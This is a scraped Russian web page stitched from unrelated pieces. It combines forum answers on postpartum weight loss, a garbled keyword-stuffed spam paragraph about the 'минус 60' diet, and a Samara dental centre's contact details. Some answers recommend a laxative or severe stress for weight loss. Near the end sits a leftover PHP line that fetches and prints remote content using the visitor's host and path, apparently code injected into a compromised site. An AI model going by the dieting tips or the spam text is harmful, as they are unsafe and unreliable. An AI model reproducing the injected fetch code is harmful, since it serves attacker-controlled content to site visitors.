Коляску в зубы и быстрым шагом без остановки, часа на 2..каждый день. . за полчаса до прогулки покушала, после час потерпела и воды чистой 2литра в день (супы-чаи-компоты не в счёт). . все. . максимум через 3 мес ты стройняшка.. . только это. . в послеродовой больничный сиди на попе ровно

Ешь овощи свежие, тушеные, фрукты творог рыбу и побольше воды без газа каждый день и похудеешь! кроме мучного сладкого, нельзя ничего не есть, наберешь еще....

Сколько прошло времени больше 3 мес. ? спортом займись

Диета Минус 60 . Существует система похудения -60 . Максимального результата по ней, удалось добиться только ее автору - Маримановой.2 Используйте кофейный скраб. 3 Мумие.

Ребенка на руках таскала, часто гуляли, мало ела, и спорт конечно ж

Надо получить сильный стресс---как по маслу пойдет

Больше белковой пищи есть - рыба, творог, побольше овощей, воды пить не меньше 2 л. в день. Не голодать! Понемножку каждые 3 часа кушать, один прием пищи - 2 продукта (напр. , творог с медом - 2 продукта, а салат можно считать как один и добавить к нему супчик) . Завтрак, обед и ужин - с две ладошки, ланч и полдник - с ладошку.

Система минус 60. там смысл в рациональном питании. на завтрак - что угодно, на обед - определенный список продуктов, из которых можно выбирать и минимум масла, на ужин - тоже определенный список, но уже без масла. и ужин не позднее 6 вечера. по мне так - диета легкая, а похудела я на ней больше чем на 10 кг за 2 неполных месяца.
а, ещё там предлагается гимнастика (я лентяйка, не делала, мне хватало прогулок с ребенком и таскания коляски) и уход за кожей (кофейный скраб для тела и крем с мумиё от растяжек - это всё можно дома сделать)

Кушать меньше надо.

Пережить отказ от сладкого без земледелие, начали вести более оседлый образ жизни, они стали худеющие на минус 60делать больше кофейный скраб растительной пищи, и именно у земледельцев появилась вторая группа крови.диета абс лайт 30 дней меню отзывы.

Мало есть

Бессолевая диета - едите все без соли.

Пурген.

Исключить жирное, жареное, мучное, сладкое, колбасы, сосиски. Ешьте мясо с овощами.

Кофейный скраб по диете 60 минус
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта